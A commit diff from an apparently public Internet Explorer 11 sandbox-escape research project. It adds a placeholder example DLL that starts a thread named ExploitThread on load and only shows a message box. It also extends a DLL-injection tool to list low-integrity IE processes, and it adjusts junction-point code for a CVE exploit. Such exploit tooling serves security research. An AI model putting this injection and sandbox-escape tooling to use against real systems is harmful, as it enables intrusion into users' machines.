Added an example DLL and command to print out current IE instances

CVE-2013-5045/CVE-2013-5045.vcxproj

@@ -147,7 +147,8 @@
       <GenerateDebugInformation>true</GenerateDebugInformation>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
-      <ModuleDefinitionFile>CVE-2014-0268.def</ModuleDefinitionFile>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>

CVE-2014-0520/CVE-2014-0520.vcxproj

@@ -135,6 +135,7 @@
       <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOITFLASHBROKER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <SDLCheck>true</SDLCheck>
       <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+      <AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
     </ClCompile>
     <Link>
       <SubSystem>Windows</SubSystem>

CVE-2014-0520/Misc.cpp

@@ -4,30 +4,6 @@
 #include "stdafx.h"
 #include "FSLinks.h"
 
-bool TMN_REPARSE_DATA_BUFFER::Init(LPCSTR szJunctionPoint)
-{
-	if (!szJunctionPoint || !*szJunctionPoint) {
-		return false;
-	}
-
-	const size_t cchDest = lstrlenA(szJunctionPoint) + 1;
-	if (cchDest > 512) {
-		return false;
-	}
-	wchar_t wszDestMountPoint[512];
-	if (!MultiByteToWideChar(CP_THREAD_ACP,
-							MB_PRECOMPOSED,
-							szJunctionPoint,
-							cchDest,
-							wszDestMountPoint,
-							cchDest))
-	{
-		return false;
-	}
-
-	return Init(wszDestMountPoint);
-}
-
 bool TMN_REPARSE_DATA_BUFFER::Init(LPCWSTR wszJunctionPoint)
 {
 	if (!wszJunctionPoint || !*wszJunctionPoint) {
@@ -37,11 +13,11 @@ bool TMN_REPARSE_DATA_BUFFER::Init(LPCWSTR wszJunctionPoint)
 	const size_t nDestMountPointBytes = lstrlenW(wszJunctionPoint) * 2;
 
 	ReparseTag           = IO_REPARSE_TAG_MOUNT_POINT;
-	ReparseDataLength    = nDestMountPointBytes + 12;
+	ReparseDataLength    = (WORD)(nDestMountPointBytes + 12);
 	Reserved             = 0;
 	SubstituteNameOffset = 0;
-	SubstituteNameLength = nDestMountPointBytes;
-	PrintNameOffset      = nDestMountPointBytes + 2;
+	SubstituteNameLength = (WORD)nDestMountPointBytes;
+	PrintNameOffset      = (WORD)(nDestMountPointBytes + 2);
 	PrintNameLength      = 0;
 	lstrcpyW(PathBuffer, wszJunctionPoint);
 

ExampleDll/ExampleDll.cpp

@@ -0,0 +1,23 @@
+// This file is part of IE11SandboxEsacapes.
+
+// IE11SandboxEscapes is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// IE11SandboxEscapes is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.
+
+#include "stdafx.h"
+
+DWORD CALLBACK ExploitThread(LPVOID hModule)
+{
+	MessageBox(nullptr, L"Hello", L"Hello", MB_OK);
+
+	FreeLibraryAndExitThread((HMODULE)hModule, 0);
+}

ExampleDll/ExampleDll.vcxproj

@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <ProjectGuid>{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>EXAMPLEDLL</RootNamespace>
+    <ProjectName>ExampleDll</ProjectName>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v120</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v120</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v120</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>DynamicLibrary</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v120</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <SDLCheck>true</SDLCheck>
+      <AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <SDLCheck>true</SDLCheck>
+      <AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <SDLCheck>true</SDLCheck>
+      <AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <WarningLevel>Level3</WarningLevel>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20140268_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <SDLCheck>true</SDLCheck>
+      <AdditionalIncludeDirectories>..\CommonUtils</AdditionalIncludeDirectories>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
+    </ClCompile>
+    <Link>
+      <SubSystem>Windows</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClInclude Include="stdafx.h" />
+    <ClInclude Include="targetver.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="ExampleDll.cpp" />
+    <ClCompile Include="dllmain.cpp">
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+      </PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+      </PrecompiledHeader>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
+      <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+      </PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+      </PrecompiledHeader>
+    </ClCompile>
+    <ClCompile Include="stdafx.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\CommonUtils\CommonUtils.vcxproj">
+      <Project>{04dde547-bb65-4c0c-b80b-231df42c7a1d}</Project>
+    </ProjectReference>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

ExampleDll/dllmain.cpp

@@ -0,0 +1,23 @@
+// dllmain.cpp : Defines the entry point for the DLL application.
+#include "stdafx.h"
+
+DWORD CALLBACK ExploitThread(LPVOID hModule);
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+                       DWORD  ul_reason_for_call,
+                       LPVOID lpReserved
+					 )
+{
+	switch (ul_reason_for_call)
+	{
+	case DLL_PROCESS_ATTACH:
+		CreateThread(nullptr, 0, ExploitThread, hModule, 0, 0);
+		break;
+	case DLL_THREAD_ATTACH:
+	case DLL_THREAD_DETACH:
+	case DLL_PROCESS_DETACH:
+		break;
+	}
+	return TRUE;
+}
+

ExampleDll/stdafx.cpp

@@ -0,0 +1,8 @@
+// stdafx.cpp : source file that includes just the standard includes
+// CVE-2014-0268.pch will be the pre-compiled header
+// stdafx.obj will contain the pre-compiled type information
+
+#include "stdafx.h"
+
+// TODO: reference any additional headers you need in STDAFX.H
+// and not in this file

ExampleDll/stdafx.h

@@ -0,0 +1,11 @@
+// stdafx.h : include file for standard system include files,
+// or project specific include files that are used frequently, but
+// are changed infrequently
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#include <windows.h>
+#include <Utils.h>

ExampleDll/targetver.h

@@ -0,0 +1,8 @@
+#pragma once
+
+// Including SDKDDKVer.h defines the highest available Windows platform.
+
+// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
+// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
+
+#include <SDKDDKVer.h>

IE11SandboxEscapes.sln

@@ -21,6 +21,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0520", "CVE-2014-0
 EndProject
 Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DumpElevationPolicy", "DumpElevationPolicy\DumpElevationPolicy.csproj", "{57846C94-644E-41C1-A869-81FCB22C2FBB}"
 EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ExampleDll", "ExampleDll\ExampleDll.vcxproj", "{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}"
+EndProject
 Global
 	GlobalSection(SolutionConfigurationPlatforms) = preSolution
 		Debug|Any CPU = Debug|Any CPU
@@ -156,7 +158,23 @@ Global
 		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Mixed Platforms.ActiveCfg = Release|Any CPU
 		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Mixed Platforms.Build.0 = Release|Any CPU
 		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Win32.ActiveCfg = Release|Any CPU
+		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|Win32.Build.0 = Release|Any CPU
 		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|x64.ActiveCfg = Release|Any CPU
+		{57846C94-644E-41C1-A869-81FCB22C2FBB}.Release|x64.Build.0 = Release|Any CPU
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Any CPU.ActiveCfg = Debug|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Mixed Platforms.ActiveCfg = Debug|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Mixed Platforms.Build.0 = Debug|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Win32.ActiveCfg = Debug|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|Win32.Build.0 = Debug|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|x64.ActiveCfg = Debug|x64
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Debug|x64.Build.0 = Debug|x64
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Any CPU.ActiveCfg = Release|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Mixed Platforms.ActiveCfg = Release|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Mixed Platforms.Build.0 = Release|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Win32.ActiveCfg = Release|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|Win32.Build.0 = Release|Win32
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|x64.ActiveCfg = Release|x64
+		{35D565CA-70F2-4A48-A6CB-A58F80AA47C6}.Release|x64.Build.0 = Release|x64
 	EndGlobalSection
 	GlobalSection(SolutionProperties) = preSolution
 		HideSolutionNode = FALSE

InjectDll/InjectDll.cpp

@@ -1,19 +1,22 @@
 // This file is part of IE11SandboxEsacapes.
-
+//
 // IE11SandboxEscapes is free software: you can redistribute it and/or modify
 // it under the terms of the GNU General Public License as published by
 // the Free Software Foundation, either version 3 of the License, or
 // (at your option) any later version.
-
+//
 // IE11SandboxEscapes is distributed in the hope that it will be useful,
 // but WITHOUT ANY WARRANTY; without even the implied warranty of
 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 // GNU General Public License for more details.
-
+//
 // You should have received a copy of the GNU General Public License
 // along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.
 
 #include "stdafx.h"
+#include <vector>
+#include <map>
+#include <memory>
 
 BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
 {
@@ -52,15 +55,159 @@ BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
 	return TRUE;
 }
 
+struct IEProcessEntry
+{
+	DWORD pid;
+	DWORD ppid;
+	std::vector<std::shared_ptr<IEProcessEntry>> children;
+	bool low_integrity;
+};
+
+bool IsLowIntegrity(DWORD pid)
+{
+	HANDLE hToken;
+	HANDLE hProcess;
+
+	DWORD dwLengthNeeded;
+	DWORD dwError = ERROR_SUCCESS;
+
+	PTOKEN_MANDATORY_LABEL pTIL = NULL;
+	DWORD dwIntegrityLevel = SECURITY_MANDATORY_MEDIUM_RID;
+
+	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
+	if (hProcess)
+	{
+		if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
+		{
+			// Get the Integrity level.
+			if (!GetTokenInformation(hToken, TokenIntegrityLevel,
+				NULL, 0, &dwLengthNeeded))
+			{
+				dwError = GetLastError();
+				if (dwError == ERROR_INSUFFICIENT_BUFFER)
+				{
+					pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0,
+						dwLengthNeeded);
+					if (pTIL != NULL)
+					{
+						if (GetTokenInformation(hToken, TokenIntegrityLevel,
+							pTIL, dwLengthNeeded, &dwLengthNeeded))
+						{
+							dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid,
+								(DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
+						}
+						LocalFree(pTIL);
+					}
+				}
+			}
+			CloseHandle(hToken);
+		}
+		CloseHandle(hProcess);
+	}
+
+	return dwIntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID;
+}
+
+void ListIEProcesses()
+{
+	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	DWORD current_session;
+	
+	ProcessIdToSessionId(GetCurrentProcessId(), &current_session);
+
+	if(hSnapshot == INVALID_HANDLE_VALUE)
+	{
+		printf("Error listing processes: %d\n", GetLastError());
+		return;
+	}
+
+	PROCESSENTRY32 pe32;
+	std::map<DWORD, std::shared_ptr<IEProcessEntry>> ie_processes;
+
+	pe32.dwSize = sizeof(pe32);
+
+	if (Process32First(hSnapshot, &pe32))
+	{
+		do
+		{
+			DWORD session_id;
+
+			if (!ProcessIdToSessionId(pe32.th32ProcessID, &session_id) || (session_id != current_session))
+			{
+				continue;
+			}
+
+			LPCWSTR lastSlash = wcsrchr(pe32.szExeFile, L'\\');
+			if (lastSlash == nullptr)
+			{
+				lastSlash = pe32.szExeFile;
+			}
+			else
+			{
+				lastSlash++;
+			}
+
+			if (_wcsicmp(lastSlash, L"iexplore.exe") == 0)
+			{
+				std::shared_ptr<IEProcessEntry> entry(new IEProcessEntry());
+
+				entry->pid = pe32.th32ProcessID;
+				entry->ppid = pe32.th32ParentProcessID;
+				entry->low_integrity = IsLowIntegrity(entry->pid);
+				ie_processes[pe32.th32ProcessID] = entry;
+			}
+
+		} while (Process32Next(hSnapshot, &pe32));
+	}
+	
+	CloseHandle(hSnapshot);
+
+	if (!ie_processes.empty())
+	{
+		for (auto i : ie_processes)
+		{
+			auto found = ie_processes.find(i.second->ppid);
+			if (found != ie_processes.end())
+			{
+				found->second->children.push_back(i.second);
+			}
+		}
+
+		// Print the tree
+		for (auto i : ie_processes)
+		{
+			if (!i.second->children.empty())
+			{
+				printf("[%d] - %s\n", i.second->pid, i.second->low_integrity ? "Low" : "Medium");
+				for (auto c : i.second->children)
+				{
+					printf(" |-- [%d] - %s\n", c->pid, c->low_integrity ? "Low" : "Medium");
+				}
+			}
+		}
+	}
+}
+
+void PrintHelp()
+{
+	printf("Usage: InjectDll -l|pid PathToDll\n");
+	printf("Specify -l to list all IE processes running in the current session\n");
+}
 
 int _tmain(int argc, _TCHAR* argv[])
 {
-	if(argc < 3)
+	if((argc < 2) || (_tcscmp(argv[1], L"-l") && (argc < 3)))
 	{
-		printf("Usage: InjectDll pid PathToDll\n");
+		PrintHelp();
 		return 1;
 	}
 
+	if (_tcscmp(argv[1], L"-l") == 0)
+	{
+		ListIEProcesses();
+		return 0;
+	}
+
 	WCHAR path[MAX_PATH];
 
 	GetFullPathName(argv[2], MAX_PATH, path, nullptr);

InjectDll/stdafx.h

@@ -10,3 +10,4 @@
 #include <stdio.h>
 #include <tchar.h>
 #include <Windows.h>
+#include <TlHelp32.h>